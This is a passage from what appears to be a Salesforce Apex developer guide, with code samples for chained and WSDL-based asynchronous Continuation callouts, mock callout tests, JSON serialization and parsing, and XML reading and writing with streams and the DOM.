HttpResponse response1 = Continuation.getResponse(this.requestLabel1);
this.result1 = response1.getBody();
// Get the response of the second request
HttpResponse response2 = Continuation.getResponse(this.requestLabel2);
this.result2 = response2.getBody();
// Return null to re-render the original Visualforce page
return null;
}
}
Chaining Asynchronous Callouts
If the order of the callouts matters, or when a callout is conditional on the response of another callout, you can chain callout requests.
Chaining callouts means that the next callout is made only after the response of the previous callout returns. For example, you might
need to chain a callout to get warranty extension information after the warranty service response indicates that the warranty expired.
You can chain up to three callouts.
The following Visualforce and Apex examples show how to chain one callout to another. The Visualforce page is shown first. The Visualforce
page contains a button that invokes the action method invokeInitialRequest in the controller. The Visualforce process is
suspended each time a continuation is returned. The Visualforce process resumes after each response is returned and renders each
response in the outputPanel component.
<apex:page controller="ChainedContinuationController" showChat="false" showHeader="false">
493
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
<apex:form >
<!-- Invokes the action method when the user clicks this button. -->
<apex:commandButton action="{!invokeInitialRequest}" value="Start Request"
reRender="panel"/>
</apex:form>
<apex:outputPanel id="panel">
<!-- Displays the response body of the initial callout. -->
<apex:outputText value="{!result1}" />
<br/>
<!-- Displays the response body of the chained callout. -->
<apex:outputText value="{!result2}" />
</apex:outputPanel>
</apex:page>
This example show the controller class for the Visualforce page. The invokeInitialRequest method creates the first continuation.
The callback method (processInitialResponse) processes the response of the first callout. If this response meets a certain
condition, the method chains another callout by returning a second continuation. After the response of the chained continuation is
returned, the second callback method (processChainedResponse) is invoked and processes the second response.
public with sharing class ChainedContinuationController {
// Unique label for the initial callout request
public String requestLabel1;
// Unique label for the chained callout request
public String requestLabel2;
// Result of initial callout
public String result1 {get;set;}
// Result of chained callout
public String result2 {get;set;}
// Endpoint of long-running service
private static final String LONG_RUNNING_SERVICE_URL1 =
'<Insert your first service URL>';
private static final String LONG_RUNNING_SERVICE_URL2 =
'<Insert your second service URL>';
// Action method
public Object invokeInitialRequest() {
// Create continuation with a timeout
Continuation con = new Continuation(60);
// Set callback method
con.continuationMethod='processInitialResponse';
// Create first callout request
HttpRequest req = new HttpRequest();
req.setMethod('GET');
req.setEndpoint(LONG_RUNNING_SERVICE_URL1);
// Add initial callout request to continuation
this.requestLabel1 = con.addHttpRequest(req);
// Return the continuation
494
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
return con;
}
// Callback method for initial request
public Object processInitialResponse() {
// Get the response by using the unique label
HttpResponse response = Continuation.getResponse(this.requestLabel1);
// Set the result variable that is displayed on the Visualforce page
this.result1 = response.getBody();
Continuation chainedContinuation = null;
// Chain continuation if some condition is met
if (response.getBody().toLowerCase().contains('expired')) {
// Create a second continuation
chainedContinuation = new Continuation(60);
// Set callback method
chainedContinuation.continuationMethod='processChainedResponse';
// Create callout request
HttpRequest req = new HttpRequest();
req.setMethod('GET');
req.setEndpoint(LONG_RUNNING_SERVICE_URL2);
// Add callout request to continuation
this.requestLabel2 = chainedContinuation.addHttpRequest(req);
}
// Start another continuation
return chainedContinuation;
}
// Callback method for chained request
public Object processChainedResponse() {
// Get the response for the chained request
HttpResponse response = Continuation.getResponse(this.requestLabel2);
// Set the result variable that is displayed on the Visualforce page
this.result2 = response.getBody();
// Return null to re-render the original Visualforce page
return null;
}
}
Note: The response of a continuation must be retrieved before you create a new continuation and before the Visualforce request
is suspended again. You can’t retrieve an old response from an earlier continuation in the chain of continuations.
Making an Asynchronous Callout from an Imported WSDL
In addition to HttpRequest-based callouts, asynchronous callouts are supported in Web service calls that are made from
WSDL-generated classes. The process of making asynchronous callouts from a WSDL-generated class is similar to the process for using
the HttpRequest class.
When you import a WSDL in Salesforce, Salesforce autogenerates two Apex classes for each namespace in the imported WSDL. One
class is the service class for the synchronous service, and the other is a modified version for the asynchronous service. The autogenerated
495
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
asynchronous class name starts with the Async prefix and has the format AsyncServiceName. ServiceName is the name of
the original unmodified service class. The asynchronous class differs from the standard class in the following ways.
•The public service methods contain an additional Continuation parameter as the first parameter.
•The Web service operations are invoked asynchronously and their responses are obtained with the getValue method of the
response element.
•The WebServiceCallout.beginInvoke and WebServiceCallout.endInvoke are used to invoke the service
and get the response respectively.
You can generate Apex classes from a WSDL in the Salesforce user interface. From Setup, enter Apex Classes in the Quick Find
box, then select Apex Classes.
To make asynchronous Web service callouts, call the methods on the autogenerated asynchronous class by passing your Continuation
instance to these methods. The following example is based on a hypothetical stock-quote service. This example assumes that the
organization has a class, called AsyncSOAPStockQuoteService, that was autogenerated via a WSDL import. The example shows
how to make an asynchronous callout to the service by using the autogenerated AsyncSOAPStockQuoteService class. First,
this example creates a continuation with a 60-second timeout and sets the callback method. Next, the code example invokes the
beginStockQuote method by passing it the Continuation instance. The beginStockQuote method call corresponds to an
asynchronous callout execution.
public Continuation startRequest() {
Integer TIMEOUT_INT_SECS = 60;
Continuation cont = new Continuation(TIMEOUT_INT_SECS);
cont.continuationMethod = 'processResponse';
AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
stockQuoteService =
new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
stockQuoteFuture = stockQuoteService.beginStockQuote(cont,'CRM');
return cont;
}
When the external service returns the response of the asynchronous callout (the beginStockQuote method), this callback method
is executed. It gets the response by calling the getValue method on the response object.
public Object processResponse() {
result = stockQuoteFuture.getValue();
return null;
}
The following is the entire controller with the action and callback methods.
public class ContinuationSOAPController {
AsyncSOAPStockQuoteService.GetStockQuoteResponse_elementFuture
stockQuoteFuture;
public String result {get;set;}
// Action method
public Continuation startRequest() {
Integer TIMEOUT_INT_SECS = 60;
Continuation cont = new Continuation(TIMEOUT_INT_SECS);
cont.continuationMethod = 'processResponse';
496
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
stockQuoteService =
new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
stockQuoteFuture = stockQuoteService.beginGetStockQuote(cont,'CRM');
return cont;
}
// Callback method
public Object processResponse() {
result = stockQuoteFuture.getValue();
// Return null to re-render the original Visualforce page
return null;
}
}
This example shows the corresponding Visualforce page that invokes the startRequest method and displays the result field.
<apex:page controller="ContinuationSOAPController" showChat="false" showHeader="false">
<apex:form >
<!-- Invokes the action method when the user clicks this button. -->
<apex:commandButton action="{!startRequest}"
value="Start Request" reRender="result"/>
</apex:form>
<!-- This output text component displays the callout response body. -->
<apex:outputText value="{!result}" />
</apex:page>
Testing WSDL-Based Asynchronous Callouts
Testing asynchronous callouts that are based on Apex classes from a WSDL is similar to the process that’s used with callouts that are
based on the HttpRequest class. Before you test ContinuationSOAPController.cls, create a class that implements
WebServiceMock. This class enables safe testing for ContinuationTestForWSDL.cls, which we'll create in a moment,
by enabling a mock continuation and making sure that the test has no real effect.
public class AsyncSOAPStockQuoteServiceMockImpl implements WebServiceMock {
public void doInvoke(
Object stub,
Object request,
Map<String,Object> response,
String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
// do nothing
}
}
This example is the test class that corresponds to the ContinuationSOAPController controller. The test method in the class
sets a fake response and invokes a mock continuation. The callout isn’t sent to the external service. To perform a mock callout, the test
497
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
calls these methods of the Test class: setContinuationResponse(requestLabel, mockResponse) and invokeContinuationMethod(controller,
request).
@isTest
public class ContinuationTestingForWSDL {
public static testmethod void testWebService() {
ContinuationSOAPController demoWSDLClass =
new ContinuationSOAPController();
// Invoke the continuation by calling the action method
Continuation conti = demoWSDLClass.startRequest();
// Verify that the continuation has the proper requests
Map<String, HttpRequest> requests = conti.getRequests();
System.assertEquals(requests.size(), 1);
// Perform mock callout
// (i.e. skip the callout and call the callback method)
HttpResponse response = new HttpResponse();
response.setBody('<SOAP:Envelope'
+' xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/">'
+'<SOAP:Body>'
+'<m:getStockQuoteResponse '
+'xmlns:m="http://soap.sforce.com/schemas/class/StockQuoteServiceSoap">'
+'<m:result>Mock response body</m:result>'
+'</m:getStockQuoteResponse>'
+'</SOAP:Body>'
+'</SOAP:Envelope>');
// Set the fake response for the continuation
String requestLabel = requests.keyset().iterator().next();
Test.setContinuationResponse(requestLabel, response);
// Invoke callback method
Object result = Test.invokeContinuationMethod(demoWSDLClass, conti);
System.debug(demoWSDLClass);
// result is the return value of the callback
System.assertEquals(null, result);
// Verify that the controller's result variable
// is set to the mock response.
System.assertEquals('Mock response body', demoWSDLClass.result);
}
}
JSON Support
JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the deserialization of
serialized JSON content.
498
JSON SupportIntegration and Apex Utilities
Apex provides a set of classes that expose methods for JSON serialization and deserialization. The following table describes the classes
available.
DescriptionClass
Contains methods for serializing Apex objects into JSON format
and deserializing JSON content that was serialized using the
serialize method in this class.
System.JSON
Contains methods used to serialize objects into JSON content using
the standard JSON encoding.
System.JSONGenerator
Represents a parser for JSON-encoded content.System.JSONParser
The System.JSONToken enumeration contains the tokens used for JSON parsing.
Methods in these classes throw a JSONException if an issue is encountered during execution.
JSON Support Considerations
•JSON serialization and deserialization support is available for sObjects (standard objects and custom objects), Apex primitive
and collection types, return types of Database methods (such as SaveResult, DeleteResult, and so on), and instances of your Apex
classes.
•Only custom objects, which are sObject types, of managed packages can be serialized from code that is external to the
managed package. Objects that are instances of Apex classes defined in the managed package can't be serialized.
•A Map object is serializable into JSON only if it uses one of the following data types as a key.
–Boolean
–Date
–DateTime
–Decimal
–Double
–Enum
–Id
–Integer
–Long
–String
–Time
•When an object is declared as the parent type but is set to an instance of the subtype, some data may be lost. The object gets
serialized and deserialized as the parent type and any fields that are specific to the subtype are lost.
•An object that has a reference to itself won’t get serialized and causes a JSONException to be thrown.
•Reference graphs that reference the same object twice are deserialized and cause multiple copies of the referenced object to
be generated.
•The System.JSONParser data type isn’t serializable. If you have a serializable class, such as a Visualforce controller, that
has a member variable of type System.JSONParser and you attempt to create this object, you’ll receive an exception. To
use JSONParser in a serializable class, use a local variable instead in your method.
499
JSON SupportIntegration and Apex Utilities
IN THIS SECTION:
Roundtrip Serialization and Deserialization
Use the JSON class methods to perform roundtrip serialization and deserialization of your JSON content. These methods enable
you to serialize objects into JSON-formatted strings and to deserialize JSON strings back into objects.
JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
JSON Parsing
Use the JSONParser class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted
response that's returned from a call to an external service, such as a web service callout.
Roundtrip Serialization and Deserialization
Use the JSON class methods to perform roundtrip serialization and deserialization of your JSON content. These methods enable you
to serialize objects into JSON-formatted strings and to deserialize JSON strings back into objects.
Example: Serialize and Deserialize a List of Invoices
This example creates a list of InvoiceStatement objects and serializes the list. Next, the serialized JSON string is used to deserialize
the list again and the sample verifies that the new list contains the same invoices that were present in the original list.
public class JSONRoundTripSample {
public class InvoiceStatement {
Long invoiceNumber;
Datetime statementDate;
Decimal totalPrice;
public InvoiceStatement(Long i, Datetime dt, Decimal price)
{
invoiceNumber = i;
statementDate = dt;
totalPrice = price;
}
}
public static void SerializeRoundtrip() {
Datetime dt = Datetime.now();
// Create a few invoices.
InvoiceStatement inv1 = new InvoiceStatement(1,Datetime.valueOf(dt),1000);
InvoiceStatement inv2 = new InvoiceStatement(2,Datetime.valueOf(dt),500);
// Add the invoices to a list.
List<InvoiceStatement> invoices = new List<InvoiceStatement>();
invoices.add(inv1);
invoices.add(inv2);
// Serialize the list of InvoiceStatement objects.
String JSONString = JSON.serialize(invoices);
System.debug('Serialized list of invoices into JSON format: ' + JSONString);
// Deserialize the list of invoices from the JSON string.
List<InvoiceStatement> deserializedInvoices =
500
Roundtrip Serialization and DeserializationIntegration and Apex Utilities
(List<InvoiceStatement>)JSON.deserialize(JSONString, List<InvoiceStatement>.class);
System.assertEquals(invoices.size(), deserializedInvoices.size());
Integer i=0;
for (InvoiceStatement deserializedInvoice :deserializedInvoices) {
system.debug('Deserialized:' + deserializedInvoice.invoiceNumber + ','
+ deserializedInvoice.statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+', ' + deserializedInvoice.totalPrice);
system.debug('Original:' + invoices[i].invoiceNumber + ','
+ invoices[i].statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+', ' + invoices[i].totalPrice);
i++;
}
}
}
JSON Serialization Considerations
The behavior of the serialize method differs depending on the Salesforce API version of the Apex code saved.
Serialization of queried sObject with additional fields set
For Apex saved using Salesforce API version 27.0 and earlier, if queried sObjects have additional fields set, these fields aren’t included
in the serialized JSON string returned by the serialize method. Starting with Apex saved using Salesforce API version 28.0, the
additional fields are included in the serialized JSON string.
This example adds a field to a contact after it has been queried, and then serializes the contact. The assertion statement verifies that
the JSON string contains the additional field. The assertion passes for Apex saved using Salesforce API version 28.0 and later.
Contact con = [SELECT Id, LastName, AccountId FROM Contact LIMIT 1];
// Set additional field
con.FirstName = 'Joe';
String jsonstring = Json.serialize(con);
System.debug(jsonstring);
System.assert(jsonstring.contains('Joe') == true);
Serialization of aggregate query result fields
For Apex saved using Salesforce API version 27.0, results of aggregate queries don’t include the fields in the SELECT statement when
serialized using the serialize method. For earlier API versions or for API version 28.0 and later, serialized aggregate query results
include all fields in the SELECT statement.
This aggregate query returns two fields: the count of ID fields and the account name.
String jsonString = JSON.serialize(
Database.query('SELECT Count(Id),Account.Name FROM Contact WHERE Account.Name !=
null GROUP BY Account.Name LIMIT 1'));
System.debug(jsonString);
// Expected output in API v 26 and earlier or v28 and later
// [{"attributes":{"type":"AggregateResult"},"expr0":2,"Name":"acct1"}]
501
Roundtrip Serialization and DeserializationIntegration and Apex Utilities
Serialization of empty fields
Starting with API version 28.0, null fields aren’t serialized and aren’t included in the JSON string, unlike in earlier versions. This change
doesn’t affect deserializing JSON strings with JSON methods, such as deserialize(jsonString, apexType). This change is noticeable
when you inspect the JSON string. For example:
String jsonString = JSON.serialize(
[SELECT Id, Name, Website FROM Account WHERE Website = null LIMIT 1]);
System.debug(jsonString);
// In v27.0 and earlier, the string includes the null field and looks like the following.
// {"attributes":{...},"Id":"001D000000Jsm0WIAR","Name":"Acme","Website":null}
// In v28.0 and later, the string doesn’t include the null field and looks like
// the following.
// {"attributes":{...},"Name":"Acme","Id":"001D000000Jsm0WIAR"}}
Serialization of IDs
In API version 34.0 and earlier, ID comparison using == fails for IDs that have been through roundtrip JSON serialization and
deserialization.
SEE ALSO:
JSON Class
JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
You can construct JSON content, element by element, using the standard JSON encoding. To do so, use the methods in the
JSONGenerator class.
JSONGenerator Sample
This example generates a JSON string in pretty print format by using the methods of the JSONGenerator class. The example first
adds a number field and a string field, and then adds a field to contain an object field of a list of integers, which gets deserialized properly.
Next, it adds the A object into the Object A field, which also gets deserialized.
public class JSONGeneratorSample{
public class A {
String str;
public A(String s) { str = s; }
}
static void generateJSONContent() {
// Create a JSONGenerator object.
// Pass true to the constructor for pretty print formatting.
JSONGenerator gen = JSON.createGenerator(true);
// Create a list of integers to write to the JSON string.
List<integer> intlist = new List<integer>();
intlist.add(1);
502
JSON GeneratorIntegration and Apex Utilities
intlist.add(2);
intlist.add(3);
// Create an object to write to the JSON string.
Ax=new A('X');
// Write data to the JSON string.
gen.writeStartObject();
gen.writeNumberField('abc', 1.21);
gen.writeStringField('def','xyz');
gen.writeFieldName('ghi');
gen.writeStartObject();
gen.writeObjectField('aaa', intlist);
gen.writeEndObject();
gen.writeFieldName('Object A');
gen.writeObject(x);
gen.writeEndObject();
// Get the JSON string.
String pretty = gen.getAsString();
System.assertEquals('{\n' +
' "abc" : 1.21,\n' +
' "def" : "xyz",\n' +
' "ghi" : {\n' +
' "aaa" : [ 1, 2, 3 ]\n' +
' },\n' +
' "Object A" : {\n' +
' "str" : "X"\n' +
' }\n' +
'}', pretty);
}
}
SEE ALSO:
JSONGenerator Class
JSON Parsing
Use the JSONParser class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted response
that's returned from a call to an external service, such as a web service callout.
The following are samples that show how to parse JSON strings.
503
JSON ParsingIntegration and Apex Utilities
Example: Parsing a JSON Response from a Web Service Callout
This example parses a JSON-formatted response using JSONParser methods. It makes a callout to a web service that returns a
response in JSON format. Next, the response is parsed to get all the totalPrice field values and compute the grand total price.
Before you can run this sample, you must add the web service endpoint URL as an authorized remote site in the Salesforce user interface.
To do this, log in to Salesforce and from Setup, enter Remote Site Settings in the Quick Find box, then select Remote
Site Settings.
public class JSONParserUtil {
@future(callout=true)
public static void parseJSONResponse() {
Http httpProtocol = new Http();
// Create HTTP request to send.
HttpRequest request = new HttpRequest();
// Set the endpoint URL.
String endpoint = 'https://docsample.herokuapp.com/jsonSample';
request.setEndPoint(endpoint);
// Set the HTTP verb to GET.
request.setMethod('GET');
// Send the HTTP request and get the response.
// The response is in JSON format.
HttpResponse response = httpProtocol.send(request);
System.debug(response.getBody());
/* The JSON response returned is the following:
String s = '{"invoiceList":[' +
'{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' +
'{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' +
'"invoiceNumber":1},' +
'{"totalPrice":11.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' +
'{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' +
'{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' +
']}';
*/
// Parse JSON response to get all the totalPrice field values.
JSONParser parser = JSON.createParser(response.getBody());
Double grandTotal = 0.0;
while (parser.nextToken() != null) {
if ((parser.getCurrentToken() == JSONToken.FIELD_NAME) &&
(parser.getText() == 'totalPrice')) {
// Get the value.
parser.nextToken();
// Compute the grand total price for all invoices.
grandTotal += parser.getDoubleValue();
}
}
system.debug('Grand total=' + grandTotal);
}
}
504
JSON ParsingIntegration and Apex Utilities
Example: Parse a JSON String and Deserialize It into Objects
This example uses a hardcoded JSON string, which is the same JSON string returned by the callout in the previous example. In this
example, the entire string is parsed into Invoice objects using the readValueAs method. This code also uses the skipChildren
method to skip the child array and child objects and parse the next sibling invoice in the list. The parsed objects are instances of the
Invoice class that is defined as an inner class. Because each invoice contains line items, the class that represents the corresponding
line item type, the LineItem class, is also defined as an inner class. Add this sample code to a class to use it.
public static void parseJSONString() {
String jsonStr =
'{"invoiceList":[' +
'{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' +
'{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' +
'"invoiceNumber":1},' +
'{"totalPrice":11.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' +
'{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' +
'{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' +
']}';
// Parse entire JSON response.
JSONParser parser = JSON.createParser(jsonStr);
while (parser.nextToken() != null) {
// Start at the array of invoices.
if (parser.getCurrentToken() == JSONToken.START_ARRAY) {
while (parser.nextToken() != null) {
// Advance to the start object marker to
// find next invoice statement object.
if (parser.getCurrentToken() == JSONToken.START_OBJECT) {
// Read entire invoice object, including its array of line items.
Invoice inv = (Invoice)parser.readValueAs(Invoice.class);
system.debug('Invoice number: ' + inv.invoiceNumber);
system.debug('Size of list items: ' + inv.lineItems.size());
// For debugging purposes, serialize again to verify what was parsed.
String s = JSON.serialize(inv);
system.debug('Serialized invoice: ' + s);
// Skip the child start array and start object markers.
parser.skipChildren();
}
}
}
}
}
// Inner classes used for serialization by readValuesAs().
public class Invoice {
public Double totalPrice;
public DateTime statementDate;
public Long invoiceNumber;
List<LineItem> lineItems;
505
JSON ParsingIntegration and Apex Utilities
public Invoice(Double price, DateTime dt, Long invNumber, List<LineItem> liList) {
totalPrice = price;
statementDate = dt;
invoiceNumber = invNumber;
lineItems = liList.clone();
}
}
public class LineItem {
public Double unitPrice;
public Double quantity;
public String productName;
}
SEE ALSO:
JSONParser Class
XML Support
Apex provides utility classes that enable the creation and parsing of XML content using streams and the DOM.
This section contains details about XML support.
IN THIS SECTION:
Reading and Writing XML Using Streams
Apex provides classes for reading and writing XML content using streams.
Reading and Writing XML Using the DOM
Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).
Reading and Writing XML Using Streams
Apex provides classes for reading and writing XML content using streams.
The XMLStreamReader class enables you to read XML content and the XMLStreamWriter class enables you to write XML content.
IN THIS SECTION:
Reading XML Using Streams
The XMLStreamReader class methods enable forward, read-only access to XML data.
Writing XML Using Streams
The XmlStreamWriter class methods enable the writing of XML data.
Reading XML Using Streams
The XMLStreamReader class methods enable forward, read-only access to XML data.
506
XML SupportIntegration and Apex Utilities
Those methods are used in conjunction with HTTP callouts to parse XML data or skip unwanted events. You can parse nested XML
content that’s up to 50 nodes deep. The following example shows how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);
These methods work on the following XML events:
•An attribute event is specified for a particular element. For example, the element <book> has an attribute title: <book
title="Salesforce.com for Dummies">.
•A start element event is the opening tag for an element, for example <book>.
•An end element event is the closing tag for an element, for example </book>.
•A start document event is the opening tag for a document.
•An end document event is the closing tag for a document.
•An entity reference is an entity reference in the code, for example !ENTITY title = "My Book Title".
•A characters event is a text character.
•A comment event is a comment in the XML file.
Use the next and hasNext methods to iterate over XML data. Access data in XML using get methods such as the getNamespace
method.
When iterating over the XML data, always check that stream data is available using hasNext before calling next to avoid attempting
to read past the end of the XML data.
XmlStreamReader Example
The following example processes an XML string.
public class XmlStreamReaderDemo {
// Create a class Book for processing
public class Book {
String name;
String author;
}
public Book[] parseBooks(XmlStreamReader reader) {
Book[] books = new Book[0];
boolean isSafeToGetNextXmlElement = true;
while(isSafeToGetNextXmlElement) {
// Start at the beginning of the book and make sure that it is a book
if (reader.getEventType() == XmlTag.START_ELEMENT) {
if ('Book' == reader.getLocalName()) {
// Pass the book to the parseBook method (below)
Book book = parseBook(reader);
books.add(book);
}
}
// Always use hasNext() before calling next() to confirm
// that we have not reached the end of the stream
if (reader.hasNext()) {
reader.next();
}else {
507
Reading and Writing XML Using StreamsIntegration and Apex Utilities
isSafeToGetNextXmlElement = false;
break;
}
}
return books;
}
// Parse through the XML, determine the author and the characters
Book parseBook(XmlStreamReader reader) {
Book book = new Book();
book.author = reader.getAttributeValue(null,'author');
boolean isSafeToGetNextXmlElement = true;
while(isSafeToGetNextXmlElement) {
if (reader.getEventType() == XmlTag.END_ELEMENT) {
break;
}else if (reader.getEventType() == XmlTag.CHARACTERS) {
book.name = reader.getText();
}
// Always use hasNext() before calling next() to confirm
// that we have not reached the end of the stream
if (reader.hasNext()) {
reader.next();
}else {
isSafeToGetNextXmlElement = false;
break;
}
}
return book;
}
}
@isTest
private class XmlStreamReaderDemoTest {
// Test that the XML string contains specific values
static testMethod void testBookParser() {
XmlStreamReaderDemo demo = new XmlStreamReaderDemo();
String str = '<books><book author="Chatty">Foo bar</book>' +
'<book author="Sassy">Baz</book></books>';
XmlStreamReader reader = new XmlStreamReader(str);
XmlStreamReaderDemo.Book[] books = demo.parseBooks(reader);
System.debug(books.size());
for (XmlStreamReaderDemo.Book book : books) {
System.debug(book);
}
508
Reading and Writing XML Using StreamsIntegration and Apex Utilities
}
}
SEE ALSO:
XmlStreamReader Class
Writing XML Using Streams
The XmlStreamWriter class methods enable the writing of XML data.
Those methods are used in conjunction with HTTP callouts to construct an XML document to send in the callout request to an external
service. The following example shows how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);
XML Writer Methods Example
The following example writes an XML document and tests its validity.
Note: The Hello World sample requires custom objects. You can either create these on your own, or download the objects and
Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex
Tutorials Package. This package also contains sample code and objects for the Shipping Invoice example.
public class XmlWriterDemo {
public String getXml() {
XmlStreamWriter w = new XmlStreamWriter();
w.writeStartDocument(null,'1.0');
w.writeProcessingInstruction('target','data');
w.writeStartElement('m','Library','http://www.book.com');
w.writeNamespace('m','http://www.book.com');
w.writeComment('Book starts here');
w.setDefaultNamespace('http://www.defns.com');
w.writeCData('<Cdata> I like CData </Cdata>');
w.writeStartElement(null,'book',null);
w.writedefaultNamespace('http://www.defns.com');
w.writeAttribute(null,null,'author','Manoj');
w.writeCharacters('This is my book');
w.writeEndElement(); //end book
w.writeEmptyElement(null,'ISBN',null);
w.writeEndElement(); //end library
w.writeEndDocument();
String xmlOutput = w.getXmlString();
w.close();
return xmlOutput;
}
}
@isTest
private class XmlWriterDemoTest {
static TestMethod void basicTest() {
XmlWriterDemo demo = new XmlWriterDemo();
509
Reading and Writing XML Using StreamsIntegration and Apex Utilities
String result = demo.getXml();
String expected = '<?xml version="1.0"?><?target data?>' +
'<m:Library xmlns:m="http://www.book.com">' +
'<!--Book starts here-->' +
'<![CDATA[<Cdata> I like CData </Cdata>]]>' +
'<book xmlns="http://www.defns.com" author="Manoj">This is my
book</book><ISBN/></m:Library>';
System.assert(result == expected);
}
}
SEE ALSO:
XmlStreamWriter Class
Reading and Writing XML Using the DOM
Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).
DOM classes help you parse or generate XML content. You can use these classes to work with any XML content. One common application
is to use the classes to generate the body of a request created by HttpRequest or to parse a response accessed by HttpResponse. The
DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch nodes and have child nodes, while others are
leaf nodes with no children. You can parse nested XML content that’s up to 50 nodes deep.
The DOM classes are contained in the Dom namespace.
Use the Document Class to process the content in the body of the XML document.
Use the XmlNode Class to work with a node in the XML document.
Use the Document Class class to process XML content. One common application is to use it to create the body of a request for HttpRequest
or to parse a response accessed by HttpResponse.
XML Namespaces
An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify element types
and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon, separating the name
into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a namespace. The combination of the
universally managed URI namespace and the document's own namespace produces identifiers that are universally unique.
The following XML element has a namespace of http://my.name.space and a prefix of myprefix.
<sampleElement xmlns:myprefix="http://my.name.space" />
In the following example, the XML element has two attributes:
•The first attribute has a key of dimension; the value is 2.
•The second attribute has a key namespace of http://ns1; the value namespace is http://ns2; the key is foo; the value
is bar.
<square dimension="2" ns1:foo="ns2:bar" xmlns:ns1="http://ns1" xmlns:ns2="http://ns2" />
510
Reading and Writing XML Using the DOMIntegration and Apex Utilities
Document Example
For the purposes of the sample below, assume that the url argument passed into the parseResponseDom method returns this
XML response:
<address>
<name>Kirk Stevens</name>
<street1>808 State St</street1>
<street2>Apt. 2</street2>
<city>Palookaville</city>
<state>PA</state>
<country>USA</country>
</address>
The following example illustrates how to use DOM classes to parse the XML response returned in the body of a GET request:
public class DomDocument {
// Pass in the URL for the request
// For the purposes of this sample,assume that the URL
// returns the XML shown above in the response body
public void parseResponseDom(String url){
Http h = new Http();
HttpRequest req = new HttpRequest();
// url that returns the XML in the response body
req.setEndpoint(url);
req.setMethod('GET');
HttpResponse res = h.send(req);
Dom.Document doc = res.getBodyDocument();
//Retrieve the root element for this document.
Dom.XMLNode address = doc.getRootElement();
String name = address.getChildElement('name',null).getText();
String state = address.getChildElement('state',null).getText();
// print out specific elements
System.debug('Name: ' + name);
System.debug('State: ' + state);
// Alternatively, loop through the child elements.
// This prints out all the elements of the address
for(Dom.XMLNode child : address.getChildElements()) {
System.debug(child.getText());
}
}
}
Using XML Nodes
Use the XmlNode class to work with a node in an XML document. The DOM represents an XML document as a hierarchy of nodes.
Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children.
There are different types of DOM nodes available in Apex. XmlNodeType is an enum of these different types. The values are:
•COMMENT
511
Reading and Writing XML Using the DOMIntegration and Apex Utilities
•ELEMENT
•TEXT
It is important to distinguish between elements and nodes in an XML document. The following is a simple XML example:
<name>
<firstName>Suvain</firstName>
<lastName>Singh</lastName>
</name>
This example contains three XML elements: name, firstName, and lastName. It contains five nodes: the three name, firstName,
and lastName element nodes, as well as two text nodes—Suvain and Singh. Note that the text within an element node is
considered to be a separate text node.
For more information about the methods shared by all enums, see Enum Methods.
XmlNode Example
This example shows how to use XmlNode methods and namespaces to create an XML request.
public class DomNamespaceSample
{
public void sendRequest(String endpoint)
{
// Create the request envelope
DOM.Document doc = new DOM.Document();
String soapNS = 'http://schemas.xmlsoap.org/soap/envelope/';
String xsi = 'http://www.w3.org/2001/XMLSchema-instance';
String serviceNS = 'http://www.myservice.com/services/MyService/';
dom.XmlNode envelope
= doc.createRootElement('Envelope', soapNS, 'soapenv');
envelope.setNamespace('xsi', xsi);
envelope.setAttributeNS('schemaLocation', soapNS, xsi, null);
dom.XmlNode body
= envelope.addChildElement('Body', soapNS, null);
body.addChildElement('echo', serviceNS, 'req').
addChildElement('category', serviceNS, null).
addTextNode('classifieds');
System.debug(doc.toXmlString());
// Send the request
HttpRequest req = new HttpRequest();
req.setMethod('POST');
req.setEndpoint(endpoint);
req.setHeader('Content-Type','text/xml');
req.setBodyDocument(doc);
Http http = new Http();
HttpResponse res = http.send(req);
512
Reading and Writing XML Using the DOMIntegration and Apex Utilities
